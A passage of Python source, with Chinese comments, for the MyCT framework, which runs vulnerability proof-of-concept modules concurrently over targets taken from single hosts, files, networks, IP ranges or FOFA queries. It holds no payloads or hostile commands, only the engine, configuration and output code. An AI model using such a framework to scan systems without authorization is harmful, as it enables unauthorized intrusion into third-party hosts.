Queue # 兼容py2、3 11 | except:import Queue 12 | import func_timeout # 为了给c2Class文件中的函数限时所需 13 | from lib.core.data import conf,logger,runtime,prepare 14 | from lib.core.static import CUSTOM_LOGGING,ENGINE_MODE,RETURN_STATUS 15 | from lib.core.common import threadLock,printToStdout,callStack 16 | from thirdparty.terminal import get_terminal_size 17 | 18 | # 并发引擎初始化,各种变量生成与赋值 19 | def initCoreEngine(initFunc): 20 | runtime['startTime']= time.time() # 初始化引擎的时间 21 | logger.log(CUSTOM_LOGGING.INFO,'Start to initialize the module [%s] engine configuration ...'%prepare['nowModuleName']) 22 | initFunc() # 执行不同类型引擎所专用的初始化方法 23 | runtime['engineMode'] = conf['ENGINE'] # 引擎的类型 24 | runtime['concurrentNum'] = conf['CONCURRENT_NUM'] # 并发数 25 | runtime['c2ClassObj'] = prepare['nowc2Class']() # 当前并发类对象 26 | runtime['c2Func'] = getattr(runtime['c2ClassObj'],'c2Func') # 当前并发方法对象 27 | runtime['moduleName'] = prepare['nowModuleName'] # 并发模块名 28 | runtime['concurrentCount'] = runtime['concurrentNum'] # 当前可并发数量,也就是当前允许运行的scan方法的数量 29 | runtime['scannedCount'] = 0 # 已扫描的目标的数量 30 | runtime['foundCount'] = 0 # 已发现的目标的数量(c2Func方法返回1或10) 31 | runtime['handleIsError'] = False # 运行scan方法中是否发生了异常 32 | runtime['isContinue'] = True # 并发引擎继续运行标志 33 | runtime['terminal_width'] = get_terminal_size()[0]-2 # 当前命令行终端的宽度 (-2:因为需要容纳控制字符\n\r) 34 | runtime['allTarget'] = Queue.PriorityQueue() # 需要处理的目标队列 35 | runtime['allTarget'].queue.extend(prepare['allTarget']) # 导入预备数据中目标列表 36 | runtime['debug'] = conf['DEBUG_MODE'] # 设置debug模式 37 | 38 | runtime['nowWait'] = [1 for i in range(runtime['concurrentNum'])] # 当下处于等待目标状态的所有scan方法的cid之和 39 | runtime['allWait'] = [0 for i in range(runtime['concurrentNum'])] # 全部处于等待目标状态的所有scan方法的cid之和 40 | 41 | logger.log(CUSTOM_LOGGING.SUCCESS,'Successfully initialized the module [%s] engine configuration'%prepare['nowModuleName']) 42 | 43 | # 扫描函数 44 | def scan(resultHandle,cid): 45 | # print(cid) 46 | c2Func = runtime['c2Func'] 47 | # 循环获得目标并处理 48 | while runtime['nowWait'] != runtime['allWait'] or runtime['allTarget'].qsize()>0: # 并没有全部scan方法都在等待 49 | if runtime['isContinue'] == False: 50 | break 51 | # 获得具体攻击目标 52 | tgt = getTarget(cid) 53 | if tgt == None: 54 | time.sleep(1) # 此处休眠主要是用来快速退出的,当并发数较大时,每个方法都会在getTarget时设 55 | # 置对应的等待位,只有全部方法等待位都设置了才会使得方法退出,如果不进行休眠而是直接continue, 56 | # 则所有方法必须等待 并发数*runCoreEngine中while循环中的休眠时间0.01 之后,才会 57 | # 使得runtime['nowWait'] == runtime['allWait'],从而全部退出 58 | continue 59 | try: 60 | # 开始运行c2Func函数,如果c2Func函数内有异常未处理从而在这里被捕捉,则程序将会停止运行 61 | status,returnData = c2Func(target=tgt) # 结果状态,返回数据(一般用来存储运行结果) 62 | resultHandle(tgt,status,returnData) # 执行不同类型引擎所专用的结果处理方法 63 | if status == RETURN_STATUS.SUCCESS or status == RETURN_STATUS.MORETRY: 64 | modifyFoundCount() # 增加已出现数 65 | except func_timeout.exceptions.FunctionTimedOut as e: # 在c2Class文件中 导入模块func_timeout,并在对应函数前使用装饰器 @func_timeout.func_set_timeout(3) 可以限制对应函数运行时间为3秒 66 | pass 67 | except Exception as e: 68 | runtime['handleIsError'] = True 69 | runtime['errMsg'] = traceback.format_exc() # 获得异常回溯信息 70 | runtime['isContinue'] = False 71 | 72 | modifyScannedCount() # 增加已扫描数 73 | printEngineState() # 打印引擎状态 74 | 75 | # 运行到这里,说明getTarget()的结果为None,即处理目标队列为空 76 | modifyConcurrentCount() # 增加已扫描数 77 | printEngineState() 78 | 79 | # 运行引擎,并发运行scan方法 80 | @callStack 81 | def runCoreEngine(resultHandle,endFunc): 82 | logger.log(CUSTOM_LOGGING.INFO,'Start concurrency of c2Func of the module: [%s]'%runtime['moduleName']) 83 | # 线程模式下 84 | if runtime['engineMode'] == ENGINE_MODE.THREAD: 85 | # 生成扫描线程集 86 | threads=[threading.Thread(target=scan,args=(resultHandle,i),name=str(i)) for i in range(runtime['concurrentNum'])] 87 | # 扫描线程集的线程中依次执行setDaemon(True)-设置主线程为子线程的守护线程、start() 88 | for i in range(runtime['concurrentNum']): 89 | t=threading.Thread(target=scan,args=(resultHandle,i),name=str(i)) 90 | t.setDaemon(True) 91 | t.start() 92 | # 上行代码等于以下代码(仅适用于py2,py3更新了map方法) 93 | # map(lambda t:t.setDaemon(True)==t.start(),threads) # ==的意义:使得该匿名函数可以依次运行t.setDaemon(True)与t.start() 94 | 95 | # 该while循环的作用: 96 | # 使得主线程在除了 情况1)扫描线程集内的线程全部停止(无scan运行) 或者 情况2)未全部停止,而引擎继续运行标志为假 97 | # 的情况下,持续等待(time.sleep) 98 | # 持续等待的原因是: 99 | # 保持主线程的一直存活(不会一下就运行到结束) 100 | # 如果用户在主线程等待期间按下ctrl+c,则主线程报出KeyboardInterrupt异常,直接跳回lib\cli.py进行退出, 101 | # 又由于线程集的守护线程设置为主线程(t.setDaemon(True)),则所有线程也会陆续退出 102 | # Q:既然是让主线程等待,为什么不使用t.join? 103 | # A:因为t.join后,当用户想通过ctrl+c主动停止程序运行时,效果很差(多线程运行下,每个线程都占用了一定时间,基本无法立刻停止) 104 | while 1: 105 | if runtime['concurrentCount'] > 0 and runtime['isContinue'] == True: 106 | time.sleep(0.01) 107 | else: 108 | break 109 | # 协程模式下 110 | elif runtime['engineMode'] == ENGINE_MODE.GEVENT: 111 | import gevent 112 | from gevent import monkey # gevent需要修改python自带的一些标准库,以达到IO阻塞时可以切换协程运行的目的,这一过程通过monkey patch完成 113 | monkey.patch_all() 114 | while runtime['allTarget'].qsize() > 0 and runtime['isContinue'] == True: 115 | gls=[] # gevent-lists 协程集 116 | for i in range(runtime['concurrentNum']): # 在并发数内 117 | if runtime['allTarget'].qsize() > 0: 118 | gls.append(gevent.spawn(scan,resultHandle,i)) # 执行协程 119 | else: 120 | break 121 | gevent.joinall(greenlets=gls) # 直到全部协程运行结束 122 | # 以上代码也可以使用以下代码替换 123 | # while runtime['allTarget'].qsize()>0 and runtime['isContinue'] ==True: 124 | # gevent.joinall(greenlets=[gevent.spawn(scan,resultHandle,i) for i in range(runtime['concurrentNum']) if runtime['allTarget'].qsize()>0]) 125 | printToStdout('\n') 126 | # 进行错误信息输出 127 | if 'errMsg' in runtime.keys(): # 如果runtime设置了errMsg键 128 | # logger.error('111111111111111111111111111111111111111111111111111111111111111111') 129 | logger.error(runtime['errMsg']) 130 | endFunc() # 执行不同类型引擎所专用的结束方法 131 | logger.log(CUSTOM_LOGGING.SUCCESS,'Complete concurrency of c2Func of the module: [%s]'%runtime['moduleName']) 132 | 133 | 134 | # 获得攻击目标 135 | @threadLock(lock=threading.Lock()) 136 | def getTarget(cid,timeout=0): 137 | # try: 138 | # return runtime['allTarget'].get(timeout=timeout) 139 | # except Queue.Empty as e: 140 | # return None 141 | # except Exception as e: 142 | # return None 143 | try: 144 | _t=runtime['allTarget'].get(timeout=timeout) 145 | # runtime['nowWait'].discard(cid) 146 | runtime['nowWait'][cid]=1 147 | return _t 148 | except Queue.Empty as e: 149 | pass 150 | except Exception as e: 151 | pass 152 | runtime['nowWait'][cid]=0 153 | # runtime['nowWait'].add(cid) 154 | return None 155 | 156 | # 修改并发数 157 | @threadLock(lock=threading.Lock()) 158 | def modifyConcurrentCount(num=-1): 159 | runtime['concurrentCount'] += num 160 | 161 | # 修改已扫描的目标数 162 | @threadLock(lock=threading.Lock()) 163 | def modifyScannedCount(num=1): 164 | runtime['scannedCount'] += num 165 | 166 | # 修改已发现的目标数 167 | @threadLock(lock=threading.Lock()) 168 | def modifyFoundCount(num=1): 169 | runtime['foundCount'] += num 170 | 171 | # 打印引擎状态 172 | def printEngineState(): 173 | # 打印当前引擎的 已发现目标数、剩余目标数、已扫描目标数、耗时 174 | eMsg = '%s found | %s remaining | %s scanned | %.2f/s rate in %.2f seconds' % ( 175 | runtime['foundCount'],runtime['allTarget'].qsize(),runtime['scannedCount'],runtime['scannedCount']/(time.time()-runtime['startTime']), 176 | time.time()-runtime['startTime']) 177 | out ='\r'+' '*(runtime['terminal_width']-len(eMsg))+eMsg 178 | printToStdout(out) 179 | # printToStdout('\r') # 经过调试发现,输出\r 使得debug模式下,可以更加整齐的显示信息.PS:20200825 测试发现,加不加没什么影响 -------------------------------------------------------------------------------- /lib/controller/engine.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | from lib.core.data import conf,runtime 3 | from lib.controller.pocengine import Engine as pocEngine 4 | from lib.controller.preengine import Engine as preEngine 5 | 6 | # 启动并发引擎 7 | def run(): 8 | if conf['PRE_TREAT']: 9 | preEngine() # 启动针对预处理模块的并发引擎 10 | runtime=[] # 重置运行时的数据 11 | pocEngine() # 启动针对处理模块的并发引擎 -------------------------------------------------------------------------------- /lib/controller/pocengine.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import threading 3 | import codecs 4 | from lib.core.data import conf,logger,runtime,prepare 5 | from lib.controller.coreengine import initCoreEngine,runCoreEngine 6 | from lib.core.static import OUTPUT_MODE,MODULE_TYPE,RETURN_STATUS 7 | from lib.core.setting import CLASSNAME,FUNCNAME 8 | from lib.core.common import threadLock,printMessage 9 | # 兼容python3 10 | import sys 11 | if sys.version[0]=='3': 12 | from functools import reduce 13 | 14 | # 对需要重新加入目标队列的数据 进行处理 15 | @threadLock(lock=threading.Lock()) 16 | def retryHandle(retryInfo): 17 | if isinstance(retryInfo, str): 18 | runtime['allTarget'].put(retryInfo) 19 | elif isinstance(retryInfo, list): 20 | runtime['allTarget'].queue.extend(retryInfo) 21 | else: 22 | runtime['allTarget'].put(retryInfo) 23 | 24 | # 对失败数据 进行处理 25 | def failHandle(failInfo): 26 | pass 27 | 28 | # 对需要成功的数据 进行处理 29 | @threadLock(lock=threading.Lock()) 30 | def successHandle(tgt,successInfo): 31 | runtime['allSuccess']+=1 32 | try: 33 | if isinstance(successInfo, str): 34 | pass 35 | elif isinstance(successInfo, list): # 列表则拼接为字符串 36 | successInfo = reduce(lambda x,y:str(x)+','+str(y),successInfo) 37 | else: 38 | uccessInfo=str(successInfo) 39 | except Exception as e: 40 | successInfo='The target [%s] detection result was successful, but an exception occurred when outputting more information.'%str(tgt) 41 | logger.debug(successInfo) 42 | stdMsg = "[!] %s"%successInfo 43 | printMessage(stdMsg,'red',True) # 输出成功数据到命令行 44 | if runtime['outputMode'] == OUTPUT_MODE.ALL: 45 | fileMsg = "%-20s %s"%('['+str(tgt)+']',successInfo) 46 | write2File(fileMsg) # 输出成功数据到文件 47 | if runtime['singleMode']: # 如果是单结果模式 48 | runtime['isContinue'] = False # 设置停止运行标识 49 | printMessage('[single-mode] found!','red',True) # 打印提示 50 | 51 | # 专用的结果处理方法 52 | def resultHandle(tgt,status,returnData): 53 | if status == RETURN_STATUS.RETRY: 54 | retryHandle(returnData) 55 | elif status == RETURN_STATUS.SUCCESS: 56 | successHandle(tgt,returnData) 57 | elif status == RETURN_STATUS.MORETRY: 58 | _success,_retry = returnData 59 | successHandle(tgt,_success) 60 | retryHandle(_retry) 61 | elif status == RETURN_STATUS.FAIL: 62 | failHandle(returnData) 63 | 64 | # 写入到文件 65 | @threadLock(lock=threading.Lock()) 66 | def write2File(msg): 67 | try: 68 | with codecs.open(runtime['outputFilePath'],'a','utf-8') as f: 69 | f.write(msg+'\n') 70 | except UnicodeDecodeError as e: # 如果出现unicode解码异常,则使用py默认读写 71 | with open(runtime['outputFilePath'],'a') as f: 72 | f.write(msg+'\n') 73 | 74 | # 专用的结束方法 75 | def endFunc(): 76 | pass 77 | 78 | def initFunc(): 79 | runtime['allSuccess'] =0 # 测试成功数 80 | runtime['singleMode'] = conf['SINGLE_MODE'] # 单结果模式 81 | runtime['outputMode'] = conf['OUTPUT_MODE'] # 输出方式 82 | if runtime['outputMode'] == OUTPUT_MODE.ALL: 83 | runtime['outputFilePath'] = conf['OUTPUT_FILE_PATH'] # 输出文件路径 84 | 85 | def Engine(): 86 | # 遍历预处理模块 87 | for mData in prepare[MODULE_TYPE.POC]: 88 | prepare['nowc2Class'] = mData['class'] # 当前执行的处理模块的类对象 89 | prepare['nowModuleName'] = mData['name'] # 当前执行的处理模块名 90 | 91 | logger.info('The current concurrent module of the engine: [%s]'%prepare['nowModuleName']) 92 | 93 | initCoreEngine(initFunc) 94 | runCoreEngine(resultHandle,endFunc) 95 | 96 | logger.info('Find [%s] Vuls : [%d]'%(prepare['nowModuleName'],runtime['allSuccess'])) -------------------------------------------------------------------------------- /lib/controller/preengine.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import threading 3 | from lib.core.data import logger,runtime,prepare 4 | from lib.controller.coreengine import initCoreEngine,runCoreEngine 5 | from lib.core.static import MODULE_TYPE,RETURN_STATUS 6 | from lib.core.setting import CLASSNAME,FUNCNAME 7 | from lib.core.common import threadLock,printMessage 8 | 9 | 10 | # 对需要重新加入目标队列的数据 进行处理 11 | @threadLock(lock=threading.Lock()) 12 | def retryHandle(retryInfo): 13 | if isinstance(retryInfo, str): 14 | runtime['allTarget'].put(retryInfo) 15 | elif isinstance(retryInfo, list): 16 | runtime['allTarget'].queue.extend(retryInfo) 17 | else: 18 | runtime['allTarget'].put(retryInfo) 19 | 20 | # 对失败数据 进行处理 21 | def failHandle(failInfo): 22 | pass 23 | 24 | # 对成功的数据 进行处理 25 | @threadLock(lock=threading.Lock()) 26 | def successHandle(tgt,successInfo): 27 | try: 28 | if isinstance(successInfo, str): 29 | runtime['allResult'].add(successInfo) # 加操作 30 | elif isinstance(successInfo, list): 31 | successInfo=list(map(str,successInfo)) # map函数的返回结果在py2下是list,而在py3下是map,所以这里直接再套个list 32 | runtime['allResult'].update(set(successInfo)) # 并操作 33 | else: 34 | successInfo=str(successInfo) 35 | runtime['allResult'].add(successInfo) 36 | except Exception as e: 37 | logger.debug('The target [%s] detection result was successful, but an exception occurred when more information about the target was converted to string type.'%tgt) 38 | return 0 39 | if runtime['showMode']: 40 | infoMsg = "%-20s %s"%('['+str(tgt)+']',successInfo) 41 | printMessage(infoMsg) 42 | 43 | # 专用的结果处理方法 44 | def resultHandle(tgt,status,returnData): 45 | if status == RETURN_STATUS.RETRY: 46 | retryHandle(returnData) 47 | elif status == RETURN_STATUS.SUCCESS: 48 | successHandle(tgt,returnData) 49 | elif status == RETURN_STATUS.MORETRY: 50 | _success,_retry = returnData 51 | retryHandle(_retry) 52 | successHandle(tgt,_success) 53 | elif status == RETURN_STATUS.FAIL: 54 | failHandle(returnData) 55 | 56 | # 专用的结束方法 57 | def endFunc(): 58 | # 将引擎的结果集导入到汇总集中 59 | summary.update(runtime['allResult']) 60 | 61 | # 专用的初始化方法 62 | def initFunc(): 63 | runtime['allResult'] = set() # 定义 结果集合 64 | runtime['showMode'] = True # 是否显示成功结果 65 | 66 | # 预处理模块的并发引擎 67 | def Engine(): 68 | global summary # 用于汇总所有预处理模块的运行结果 69 | summary =set() 70 | 71 | # 遍历预处理模块 72 | for mData in prepare[MODULE_TYPE.PRE]: 73 | prepare['nowc2Class'] = mData['class'] # 当前执行的处理模块的类对象 74 | prepare['nowModuleName'] = mData['name'] # 当前执行的处理模块名 75 | 76 | logger.info('The current concurrent module of the engine: [%s]'%prepare['nowModuleName']) 77 | 78 | initCoreEngine(initFunc) 79 | runCoreEngine(resultHandle,endFunc) 80 | # 所有的预处理模块都运行并发处理完毕了,将汇总的数据导入处理模块将要使用的预备目标集中 81 | l=len(summary) 82 | logger.info('Find target : [%d]'%l) 83 | prepare['allTarget'] = summary 84 | -------------------------------------------------------------------------------- /lib/core/__init__.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 -------------------------------------------------------------------------------- /lib/core/common.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import threading 4 | import os 5 | import re 6 | import sys 7 | import logging 8 | from lib.core.data import paths,conf,logger,runtime,args 9 | from lib.core.static import CUSTOM_LOGGING,ENGINE_MODE 10 | from lib.core.log import cmd_hd 11 | from lib.core.setting import IS_WIN,RELATIVE_PATH,BANNER,ISCALLGRAPH 12 | from thirdparty.colorama.initialise import init as winColorInit 13 | from thirdparty.termcolor import colored 14 | from thirdparty.utils import traceFunc 15 | 16 | 17 | # Set various paths of MyCT 18 | def setPaths(): 19 | # Set path 20 | root_path=fileUpN(os.path.realpath(__file__),3) 21 | paths['ROOT_PATH']=root_path 22 | paths['POCMODULE_PATH']=os.path.join(root_path,RELATIVE_PATH['POCMODULE']) 23 | paths['PREMODULE_PATH']=os.path.join(root_path,RELATIVE_PATH['PREMODULE']) 24 | paths['OUTPUT_PATH']=os.path.join(root_path,RELATIVE_PATH['OUTPUT']) 25 | paths['DATA_PATH']=os.path.join(root_path,RELATIVE_PATH['DATA']) 26 | # If there is no corresponding directory, generate 27 | if not os.path.exists(paths['POCMODULE_PATH']): 28 | os.mkdir(paths['POCMODULE_PATH']) 29 | if not os.path.exists(paths['OUTPUT_PATH']): 30 | os.mkdir(paths['OUTPUT_PATH']) 31 | if not os.path.exists(paths['DATA_PATH']): 32 | os.mkdir(paths['DATA_PATH']) 33 | if not os.path.exists(paths['PREMODULE_PATH']): 34 | os.mkdir(paths['PREMODULE_PATH']) 35 | 36 | logger.log(CUSTOM_LOGGING.SUCCESS,'Set the program path successfully') 37 | 38 | # 返回文件fn向上n层的目录 39 | def fileUpN(fn,n=1): 40 | while n >0: 41 | d=os.path.dirname(fn) 42 | n-=1 43 | fn=d 44 | return d 45 | 46 | # If MyCT is running under windows, perform the initialization of the 'colorama' library, so that the windows console supports ANSI escape sequences-that is, colorful sequences 47 | def initWinStdout(): 48 | if IS_WIN: 49 | winColorInit() 50 | logger.log(CUSTOM_LOGGING.SUCCESS,'Initialize color output completed') 51 | 52 | # Print banner information 53 | def printBanner(): 54 | _=BANNER 55 | if not getattr(cmd_hd,'is_tty',False): # 如果cmd_hd没有is_tty标识(终端标识),则删除BANNER中的ANSI转义序列再打印 56 | _=re.sub(r"\033.+?m","",_) 57 | print(_) 58 | 59 | # 调用方:MyCT\lib\core\config.py 60 | # 返回列表中value相关的信息:数量,以及符合flag对应的对比函数的元素的最后位置 61 | # flag可以为:0,1,2,3。其中,0代表小于 1代表等于 2代表大于 3代表不等于 62 | def ValueInfoInList(l,value,flag=1): 63 | def _lt(a,b): # less than 64 | return ab 69 | def _ne(a,b): # not equal to 70 | return a!=b 71 | funcList=[_lt,_eq,_gt,_ne] 72 | compare=funcList[flag] # 根据flag选择对比函数 73 | num=0 74 | index=-1 75 | for i in range(len(l)): 76 | if compare(l[i],value): 77 | index=i 78 | num+=1 79 | return (num,index) 80 | 81 | # Returns a generator that generates int numbers between 'start' and 'end' 82 | def intRange(start,end): 83 | if start > end: 84 | errMsg="The starting number needs < the ending, but %s > %s"%(start,end) 85 | raise ValueError(errMsg) 86 | while start <= end: 87 | yield start 88 | start+=1 89 | 90 | # 装饰器函数,使得每次线程模式下,能在锁保护下去操作全局变量 91 | def threadLock(lock): 92 | def middle(func): 93 | def wrapper(*args,**kwargs): 94 | if runtime['engineMode']==ENGINE_MODE.THREAD: 95 | lock.acquire() 96 | result=func(*args,**kwargs) 97 | if runtime['engineMode']==ENGINE_MODE.THREAD: 98 | lock.release() 99 | return result 100 | return wrapper 101 | return middle 102 | 103 | 104 | # 装饰器函数,生成装饰函数的函数调用图 105 | def callGraph(func): 106 | flag=0 107 | try: 108 | from pycallgraph import PyCallGraph 109 | from pycallgraph.output import GraphvizOutput 110 | from pycallgraph import Config 111 | from pycallgraph import GlobbingFilter 112 | flag=1 113 | except Exception as e: 114 | pass 115 | def callgraphwrapper(*args,**kwargs): 116 | if flag==1 and ISCALLGRAPH: 117 | config = Config() 118 | config.trace_filter = GlobbingFilter(exclude=[ 119 | 'thirdparty.*' 120 | ]) 121 | graphviz = GraphvizOutput() 122 | graphviz.output_file = 'docx/callGraph.png' 123 | 124 | with PyCallGraph(output=graphviz,config=config): 125 | result=func(*args,**kwargs) 126 | else: 127 | result=func(*args,**kwargs) 128 | return result 129 | return callgraphwrapper 130 | 131 | # 装饰器函数,调试模式下会弹出装饰函数的调用堆栈图 132 | def callStack(func): 133 | def callstackwrapper(*args,**kwargs): 134 | if runtime['debug']==True and ISCALLGRAPH: 135 | traceFunc() 136 | result=func(*args,**kwargs) 137 | return result 138 | return callstackwrapper 139 | 140 | # MyCT专属print函数,避免线程模式下logging与标准输出形成死锁 141 | def printToStdout(data,color=None,on_color=None,bold=False): 142 | if bold: 143 | msg= colored(text=data, color=color, on_color=on_color, attrs=['bold']) 144 | else: 145 | msg= colored(text=data, color=color, on_color=on_color,attrs=None) 146 | if runtime['engineMode']==ENGINE_MODE.THREAD: 147 | logging._acquireLock() 148 | sys.stdout.write(msg) 149 | sys.stdout.flush() 150 | if runtime['engineMode']==ENGINE_MODE.THREAD: 151 | logging._releaseLock() 152 | 153 | # 打印信息,针对输出信息的printToStdout 154 | def printMessage(msg,color=None,bold=False,direction=1): 155 | if direction==1: 156 | # 向左对齐 157 | printToStdout('\r'+msg+' '*(runtime['terminal_width']-len(msg)) +'\n\r',color=color,bold=bold) 158 | else:# 向右对齐 159 | printToStdout('\r'+' '*(runtime['terminal_width']-len(msg)) +msg+'\n\r',color=color,bold=bold) -------------------------------------------------------------------------------- /lib/core/config.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import os 3 | import sys 4 | import time 5 | from lib.core.common import ValueInfoInList 6 | from lib.core.data import paths,conf,logger 7 | from lib.core.log import DEBUG,LOGGER 8 | from lib.core.static import ENGINE_MODE,CUSTOM_LOGGING,TARGET_TYPE,OUTPUT_MODE 9 | 10 | 11 | # 初始化程序配置 12 | def initConfig(args): 13 | checkShow(args) # 展示模块 14 | engineRegister(args) # 并发引擎注册 15 | moduleRegister(args) # 并发模块注册 16 | targetRegister(args) # 输入目标注册 17 | outputRegister(args) # 输出对象注册 18 | misc(args) # 杂项 19 | logger.log(CUSTOM_LOGGING.SUCCESS,'Initial configuration completed') 20 | 21 | def checkShow(args): 22 | if args.show_modules: 23 | pocmodulePaths=[] # 处理模块路径集 24 | premodulePaths=[] # 预处理模块路径集 25 | # os.walk() 方法用于通过在目录树中游走,输出在目录中的根路径、文件夹的相对路径、文件的相对路径 26 | for root,dirs,files in os.walk(paths['POCMODULE_PATH']): 27 | for name in files: 28 | _modulepath=os.path.join(root, name) 29 | if _modulepath.lower().endswith('py'): 30 | pocmodulePaths.append(_modulepath) 31 | for root,dirs,files in os.walk(paths['PREMODULE_PATH']): 32 | for name in files: 33 | _modulepath=os.path.join(root, name) 34 | if _modulepath.lower().endswith('py'): 35 | premodulePaths.append(_modulepath) 36 | pocmoduleNum=len(pocmodulePaths) 37 | premoduleNum=len(premodulePaths) 38 | pocMsg='' 39 | preMsg='' 40 | for _str in pocmodulePaths: 41 | _str=_str.split(paths['POCMODULE_PATH'])[1][1:] 42 | moduleName=os.path.splitext(_str)[0] 43 | if moduleName == '__init__': # 初始化脚本,不计入模块中 44 | pocmoduleNum-=1 45 | else: 46 | pocMsg+=' %s\n'%moduleName 47 | for _str in premodulePaths: 48 | _str=_str.split(paths['PREMODULE_PATH'])[1][1:] 49 | moduleName=os.path.splitext(_str)[0] 50 | if moduleName == '__init__': 51 | premoduleNum-=1 52 | else: 53 | preMsg+=' %s\n'%moduleName 54 | pocMsg='Poc Module Name (total:%s)\n' % str(pocmoduleNum)+pocMsg 55 | preMsg='Pre Module Name (total:%s)\n' % str(premoduleNum)+preMsg 56 | logger.info(preMsg) 57 | logger.info(pocMsg) 58 | sys.exit(0) 59 | 60 | def engineRegister(args): 61 | checkList= [args.engine_gevent,args.engine_thread] 62 | seted,index = ValueInfoInList(checkList,True) 63 | if seted <= 1: # seted=1说明设置eT或eG seted=0说明未设置,则默认eT 64 | conf['ENGINE'] = ENGINE_MODE.GEVENT if index == 0 else ENGINE_MODE.THREAD 65 | conf['CONCURRENT_NUM'] = args.concurrent_number 66 | else: 67 | msg='Too many options in [-eT|-eG]' 68 | sys.exit(logger.error(msg)) 69 | 70 | def moduleRegister(args): 71 | # 在parser\handler.py中已经对module文件的真实存在性进行了检验 72 | # 所以现在只需要对conf中的POCMODULE_NUM、POCMODULES、PREMODULE_NUM、PREMODULES进行赋值 73 | if args.pocmodule_path != None: 74 | conf['POCMODULE_NUM'] = len(args.pocmodule_path) 75 | conf['POCMODULES'] = [] 76 | for _modulePath in args.pocmodule_path: 77 | mInfo={} 78 | mInfo['fullPath'] = _modulePath # 模块路径 79 | mInfo['name'] = _modulePath[len(paths['POCMODULE_PATH'])+1:-3] # 模块名,更为清晰 80 | # mInfo['name'] = os.path.split(_modulePath)[1][:-3] # 模块名 81 | conf['POCMODULES'].append(mInfo) 82 | else: 83 | msg='Too few options in [-m]' 84 | sys.exit(logger.error(msg)) 85 | if args.premodule_path != None: 86 | conf['PRE_TREAT'] = True 87 | conf['PREMODULE_NUM'] = len(args.premodule_path) 88 | conf['PREMODULES']=[] 89 | for _modulePath in args.premodule_path: 90 | mInfo={} 91 | mInfo['fullPath'] = _modulePath # 模块路径 92 | mInfo['name'] = _modulePath[len(paths['PREMODULE_PATH']):-3].replace('\\','/') # 模块名,更为清晰 93 | mInfo['name'] = os.path.split(_modulePath)[1][:-3] # 模块名 94 | conf['PREMODULES'].append(mInfo) 95 | else: 96 | conf['PRE_TREAT'] = False 97 | 98 | def targetRegister(args): 99 | def _single(): 100 | conf['TARGET_TYPE'] = TARGET_TYPE.SINGLE 101 | conf['TARGET'] = args.target_single 102 | def _file(): 103 | conf['TARGET_TYPE'] = TARGET_TYPE.FILE 104 | conf['TARGET']=args.target_file 105 | def _network(): 106 | conf['TARGET_TYPE'] = TARGET_TYPE.NETWORK 107 | conf['TARGET'] = args.target_network 108 | def _iprange(): 109 | conf['TARGET_TYPE'] = TARGET_TYPE.IPRANGE 110 | conf['TARGET'] = args.target_iprange 111 | def _fofa(): 112 | conf['TARGET_TYPE'] = TARGET_TYPE.FOFA 113 | conf['TARGET'] = args.target_fofa 114 | _fun=[_single,_file,_network,_iprange,_fofa] # 函数列表 115 | checkList=[args.target_single,args.target_file,args.target_network,args.target_iprange,args.target_fofa] 116 | # _fun中的元素顺序与checkList的元素顺序都是相关联的,一一对应的 117 | seted,index=ValueInfoInList(checkList,None,3) 118 | if seted == 1: # 设置了一个值 119 | _fun[index]() 120 | elif seted > 1: # 设置了多个值 121 | msg='Too more options in [-iS|iF|-iN|-iR|-qF]' 122 | sys.exit(logger.error(msg)) 123 | else: # 未设置值 124 | msg='Too few options in [-iS|iF|-iN|-iR|-qF]. Please use [-iS|iF|-iN|-iR|-qF] to set your target' 125 | sys.exit(logger.error(msg)) 126 | 127 | def outputRegister(args): 128 | if args.output_file != None: # 如果输出文件名不为None,说明用户已经设置了-o参数 129 | conf['OUTPUT_MODE'] = OUTPUT_MODE.ALL # 全输出(即输出屏幕,又输出文件) 130 | conf['OUTPUT_FILE'] = args.output_file 131 | if conf['OUTPUT_FILE'].startswith('default_['): # 如果是MyCT默认生成的输出文件,需要填入模块名 132 | conf['OUTPUT_FILE_PATH'] = os.path.join( 133 | paths['OUTPUT_PATH'],conf['OUTPUT_FILE']%(conf['TARGET'].replace('/',''))) 134 | else: 135 | conf['OUTPUT_FILE_PATH'] = os.path.join( 136 | paths['OUTPUT_PATH'],conf['OUTPUT_FILE']) 137 | 138 | open(conf['OUTPUT_FILE_PATH'],mode='w').close() 139 | else: 140 | conf['OUTPUT_MODE']=OUTPUT_MODE.SCREEN 141 | 142 | def misc(args): 143 | conf['DEBUG_MODE']=args.debug_mode 144 | conf['SINGLE_MODE']=args.single_mode 145 | 146 | # args的变量如下: 147 | # engine_thread 线程引擎标志 148 | # engine_gevent 协程引擎标志 149 | # concurrent_number 并发数 150 | # pocmodule_name 处理模块的路径列表 151 | # premodule_name 预处理模块的路径列表 152 | # target_single 简单目标 153 | # target_file 目标文件 154 | # target_network 目标网络 155 | # target_iprange 目标ip区间 156 | # output_file 输出文件名 157 | # output_file_status 禁止输出文件标志 158 | # single_mode 简单模式 159 | # debug_mode 调试模式 160 | # show_modules 展示攻击模块标识 161 | 162 | # conf中的键如下: 163 | # ENGINE:引擎类型 164 | # CONCURRENT_NUM:并发数 165 | # POCMODULE_NUM:处理模块数 166 | # POCMODULES:处理模块信息列表 167 | # PRE_TREAT:是否需要预处理 168 | # PREMODULE_NUM:预处理模块数 169 | # PREMODULES:预处理模块信息列表 170 | # TARGET_TYPE:并发目标类型 171 | # TARGET:并发目标集合 172 | # OUTPUT_MODE:输出模式 173 | # OUTPUT_FILE:输出文件名 174 | # OUTPUT_FILE_PATH:结果输出文件路径 175 | # DEBUG_MODE:调试模式 176 | # SINGLE_MODE:简单模式 -------------------------------------------------------------------------------- /lib/core/data.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | from lib.core.log import LOGGER 3 | 4 | # https://blog.csdn.net/codingwithme/article/details/41675679 5 | # 日志记录器 6 | logger=LOGGER 7 | 8 | # 命令行参数 9 | args=None 10 | 11 | paths={} 12 | # 程序路径 13 | # ROOT_PATH 程序根路径 14 | # POCMODULE_PATH 处理模块路径 15 | # PREMODULE_PATH 预处理模块路径 16 | # OUTPUT_PATH 默认输出路径 17 | # DATA_PATH 数据路径 18 | # 定义于lib\core\common.py的setPaths方法中 19 | 20 | conf={} 21 | # 程序配置 22 | # ENGINE 引擎类型 23 | # 